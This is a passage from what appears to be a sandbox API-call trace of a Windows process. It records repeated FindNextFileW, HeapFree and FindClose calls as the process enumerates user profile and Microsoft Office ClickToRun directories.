ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6ead2556, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0xaa2fae09, ftLastWriteTime.dwHighDateTime=0x1d501b3, nFileSizeHigh=0x0, nFileSizeLow=0x10000000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="swapfile.sys", cAlternateFileName="")) returned 1 [0280.829] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0280.829] FindNextFileW (in: hFindFile=0x64a258, lpFindFileData=0x3b2fcf8 | out: lpFindFileData=0x3b2fcf8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0280.830] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0280.830] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8d2868f, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xa7140105, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x2797fc81, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_15.023.20070", cAlternateFileName="READER~2.200")) returned 1 [0280.831] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0280.831] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x3c33d412, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4b9b7315, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S", cAlternateFileName="")) returned 1 [0280.831] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0280.831] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x3c33d412, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4b9b7315, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S", cAlternateFileName="")) returned 0 [0280.831] FindClose (in: hFindFile=0x6ebeb0 | out: hFindFile=0x6ebeb0) returned 1 [0280.831] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0280.831] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4511a9a6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x28e82a8b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x28e82a8b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ARM", cAlternateFileName="")) returned 0 [0280.831] FindClose (in: hFindFile=0x6ec170 | out: hFindFile=0x6ec170) returned 1 [0280.831] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0280.831] FindNextFileW (in: hFindFile=0x6ec330, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0280.832] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0280.832] FindNextFileW (in: hFindFile=0x6ec330, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbcb1c5f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Comms", cAlternateFileName="")) returned 1 [0280.832] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0280.832] FindNextFileW (in: hFindFile=0x6ec330, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0280.832] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0280.832] FindNextFileW (in: hFindFile=0x6ec330, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0280.832] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0280.832] FindNextFileW (in: hFindFile=0x6ec330, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0280.832] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0280.832] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d9bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe825779a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup", cAlternateFileName="")) returned 0 [0280.833] FindClose (in: hFindFile=0x6ec230 | out: hFindFile=0x6ec230) returned 1 [0280.833] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0280.833] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c2b2f4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfa011b19, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xfa011b19, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ClickToRun", cAlternateFileName="CLICKT~1")) returned 1 [0280.835] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0280.835] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a5650a, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a5650a, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0280.836] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0280.836] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a5650a, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a5650a, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="x-none.16", cAlternateFileName="")) returned 0 [0280.836] FindClose (in: hFindFile=0x6ec230 | out: hFindFile=0x6ec230) returned 1 [0280.837] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0280.837] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ee74e6, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ee74e6, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="19B11135-37BD-4FA1-A78E-C20CA2BDA1C0", cAlternateFileName="19B111~1")) returned 1 [0280.839] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0280.839] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ec13b1, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0280.840] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0280.841] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ec13b1, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="x-none.16", cAlternateFileName="")) returned 0 [0280.841] FindClose (in: hFindFile=0x6ebfb0 | out: hFindFile=0x6ebfb0) returned 1 [0280.841] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0280.841] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f016ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="201EB7DF-C721-4B8B-9C81-A09DE7F931E6", cAlternateFileName="201EB7~1")) returned 1 [0280.843] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0280.843] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f9a029, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0280.845] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0280.845] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f9a029, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="x-none.16", cAlternateFileName="")) returned 0 [0280.845] FindClose (in: hFindFile=0x6ebeb0 | out: hFindFile=0x6ebeb0) returned 1 [0280.845] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0280.845] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3dbb3c9, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8512127a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8512127a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfig.0.xml", cAlternateFileName="DEPLOY~1.XML")) returned 1 [0280.847] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001c40 | out: hHeap=0x630000) returned 1 [0280.847] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3cb8e906, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3cb8e906, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{1A8308C7-90D1-4200-B16E-646F163A08E8}", cAlternateFileName="{1A830~1")) returned 0 [0280.847] FindClose (in: hFindFile=0x6ec3f0 | out: hFindFile=0x6ec3f0) returned 1 [0280.847] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0280.847] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{9AC08E99-230B-47E8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 0 [0280.847] FindClose (in: hFindFile=0x6ec230 | out: hFindFile=0x6ec230) returned 1 [0280.847] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0280.847] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Packages", cAlternateFileName="")) returned 0 [0280.847] FindClose (in: hFindFile=0x6ec170 | out: hFindFile=0x6ec170) returned 1 [0280.847] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0280.847] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 1 [0280.848] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0280.848] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShortcutBackups", cAlternateFileName="SHORTC~1")) returned 0 [0280.848] FindClose (in: hFindFile=0x6ebfb0 | out: hFindFile=0x6ebfb0) returned 1 [0280.848] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0280.848] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 0 [0280.848] FindClose (in: hFindFile=0x6ebeb0 | out: hFindFile=0x6ebeb0) returned 1 [0280.848] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0280.850] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8826bb5f, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0x683c4eba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x683c4eba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProductReleases", cAlternateFileName="PRODUC~1")) returned 1 [0280.853] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0280.853] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bd39c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a025ed3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a025ed3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0280.855] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0280.855] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bd39c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a025ed3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a025ed3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0 [0280.855] FindClose (in: hFindFile=0x6ebeb0 | out: hFindFile=0x6ebeb0) returned 1 [0280.855] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0280.855] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x1141e67e, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x1141e67e, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="A6A87302-92AE-41F2-AC52-73F5EE18259F", cAlternateFileName="A6A873~1")) returned 1 [0280.857] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0280.857] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0281.155] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0281.155] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0 [0281.156] FindClose (in: hFindFile=0x6ebeb0 | out: hFindFile=0x6ebeb0) returned 1 [0281.156] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0281.156] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x1141e67e, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x1141e67e, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="A6A87302-92AE-41F2-AC52-73F5EE18259F", cAlternateFileName="A6A873~1")) returned 0 [0281.156] FindClose (in: hFindFile=0x6ec3f0 | out: hFindFile=0x6ec3f0) returned 1 [0281.156] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0281.157] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x845f41a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x845f41a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserData", cAlternateFileName="")) returned 1 [0281.158] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.158] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b87bb60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9AC08E99-230B-47e8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 1 [0281.162] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.162] FindNextFileW (in: hFindFile=0x6ec370, 